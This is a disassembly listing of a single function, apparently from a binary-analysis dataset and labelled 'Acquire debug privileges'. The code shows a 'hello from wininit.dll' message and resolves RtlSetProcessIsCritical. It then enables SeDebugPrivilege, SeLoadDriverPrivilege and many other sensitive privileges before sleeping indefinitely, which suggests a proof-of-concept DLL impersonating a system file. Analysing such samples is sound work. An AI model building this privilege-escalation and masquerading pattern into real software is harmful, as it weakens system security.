Function at 0x66e4156e
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.wininit.dll
mov dword [esp + 4], str.hello_from_wininit.dll
mov dword [esp], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edx, [ebp - 0xc]
mov dword [esp + 4], 0x28
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
sub esp, 0xc
mov dword [esp], str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edx
mov dword [esp + 4], str.RtlSetProcessIsCritical
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [ebp - 0xc]
push ecx
push ecx
mov dword [esp], eax
mov dword [esp + 4], str.SeBackupPrivilege
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeCreatePagefilePrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeCreateSymbolicLinkPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeDelegateSessionUserImpersonatePrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeIncreaseBasePriorityPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeIncreaseQuotaPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeIncreaseWorkingSetPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeLoadDriverPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeLockMemoryPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeManageVolumePrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeProfileSingleProcessPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeRemoteShutdownPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeRestorePrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeSecurityPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeShutdownPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeSystemEnvironmentPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeSystemProfilePrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeSystemtimePrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeTakeOwnershipPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeTimeZonePrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.SeUndockPrivilege
mov dword [esp], eax
call sym._EnablePrivilege
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov dword [esp], 0xffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
xor eax, eax
leave
ret